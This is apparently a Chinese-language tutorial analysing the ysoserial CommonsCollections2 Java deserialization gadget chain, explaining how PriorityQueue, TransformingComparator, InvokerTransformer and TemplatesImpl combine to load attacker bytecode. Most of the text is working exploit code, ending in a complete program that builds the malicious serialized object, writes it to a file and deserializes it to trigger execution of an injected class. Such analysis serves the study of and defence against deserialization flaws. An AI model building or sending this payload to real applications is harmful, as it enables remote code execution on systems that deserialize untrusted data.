ysoserial CommonsCollections2 分析

在最后一步的实现上，cc2和cc3一样，最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。

已知的TemplatesImpl->newTransformer()是最终要执行的。

TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现，这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

cc2是针对commons-collections4版本，利用链如下：

/*

	Gadget chain:

		ObjectInputStream.readObject()

			PriorityQueue.readObject()

				...

					TransformingComparator.compare()

						InvokerTransformer.transform()

							Method.invoke()

								Runtime.exec()

 */

所以在InvokerTransformer.transform()之后的利用如下：

public class CC2Test2 {

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

        Field name = templates_cl.getDeclaredField("_name");

        name.setAccessible(true);

        name.set(templates,"xxx");

        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");

        transletIndex.setAccessible(true);

        transletIndex.set(templates,0);

        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));

        byte[][] codes = {code};

        //给_bytecodes赋值

        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");

        bytecodes.setAccessible(true);

        bytecodes.set(templates,codes);

        //要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap

        //_tfactorys是TransformerFactoryImpl类型的

        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();

        Field tfactory = templates_cl.getDeclaredField("_tfactory");

        tfactory.setAccessible(true);

        tfactory.set(templates,transformerFactory);

        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);

        transformer.transform(templates);

    }

}

一、InvokerTransformer.transform()的调用

TransformingComparator的compare，实现了对属性this.transformer的transform调用，这里可以通过TransformingComparator构造方法为该属性赋值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {

    private static final long serialVersionUID = 3456940356043606220L;

    private final Comparator<O> decorated;

    private final Transformer<? super I, ? extends O> transformer;

    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {

        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);

    }

    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {

        this.decorated = decorated;

        this.transformer = transformer;

    }

    public int compare(I obj1, I obj2) {

        O value1 = this.transformer.transform(obj1);

        O value2 = this.transformer.transform(obj2);

        return this.decorated.compare(value1, value2);

    }

}

通过compare的调用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);

TransformingComparator transformingComparator = new TransformingComparator(transformer);

transformingComparator.compare(null,templates);

二、TransformingComparator.compare()的调用

PriorityQueue类中的readobject()调用了heapify()，heapify()中调用了siftDown()，siftDown()调用了siftDownUsingComparator()，siftDownUsingComparator()方法实现了comparator.compare()调用。

那么只要将transformingComparator对象赋值给comparator，可以通过反射，也可以通过构造方法，这里通过构造方法，且initialCapacity不能小于1。

public PriorityQueue(int initialCapacity,

                     Comparator<? super E> comparator) {

    // Note: This restriction of at least one is not actually needed,

    // but continues for 1.5 compatibility

    if (initialCapacity < 1)

        throw new IllegalArgumentException();

    this.queue = new Object[initialCapacity];

    this.comparator = comparator;

}

由于comparator.compare()中的参数来自queue，所以需要将templates赋值给queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);

priorityQueue.add(1);

priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错，另外使用templates作为参数，又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替，后通过反射方式修改this.iMethodName属性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);

priorityQueue.add(1);

priorityQueue.add(2);

Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");

iMethodName.setAccessible(true);

iMethodName.set(transformer,"newTransformer");

三、queue属性赋值

transient queue无法序列化，但在PriorityQueue的writeobject()、readobject中对queue做了重写，实现序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)

        throws java.io.IOException {

    	//略

        for (int i = 0; i < size; i++)

            s.writeObject(queue[i]);

    }

private void readObject(java.io.ObjectInputStream s)

    throws java.io.IOException, ClassNotFoundException {

	//略

    for (int i = 0; i < size; i++)

        queue[i] = s.readObject();

    heapify();

}

通过反射修改queues[0]，利用如下：

TransformingComparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);

priorityQueue.add(1);

priorityQueue.add(2);

Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");

iMethodName.setAccessible(true);

iMethodName.set(transformer,"newTransformer");

Field queue = priorityQueue.getClass().getDeclaredField("queue");

queue.setAccessible(true);

Object[] queues = (Object[]) queue.get(priorityQueue);

queues[0] = templates;

//这里得替换queues[0]

//如果queues[0]依旧保留使用Integer，会因为无法找到newTransformer报错。

最终完整利用实现：

public class CC2Test2 {

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

        Field name = templates_cl.getDeclaredField("_name");

        name.setAccessible(true);

        name.set(templates,"xxx");

        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");

        transletIndex.setAccessible(true);

        transletIndex.set(templates,0);

        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));

        byte[][] codes = {code};

        //给_bytecodes赋值

        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");

        bytecodes.setAccessible(true);

        bytecodes.set(templates,codes);

        //要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap

        //_tfactorys是TransformerFactoryImpl类型的

        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();

        Field tfactory = templates_cl.getDeclaredField("_tfactory");

        tfactory.setAccessible(true);

        tfactory.set(templates,transformerFactory);

        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);

        TransformingComparator transformingComparator = new TransformingComparator(transformer);

        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);

        priorityQueue.add(1);

        priorityQueue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");

        iMethodName.setAccessible(true);

        iMethodName.set(transformer,"newTransformer");

        Field queue = priorityQueue.getClass().getDeclaredField("queue");

        queue.setAccessible(true);

        Object[] queues = (Object[]) queue.get(priorityQueue);

        queues[0] = templates;

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));

        objectOutputStream.writeObject(priorityQueue);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));

        objectInputStream.readObject();

    }

}

ysoserial CommonsCollections2 分析的相关教程结束。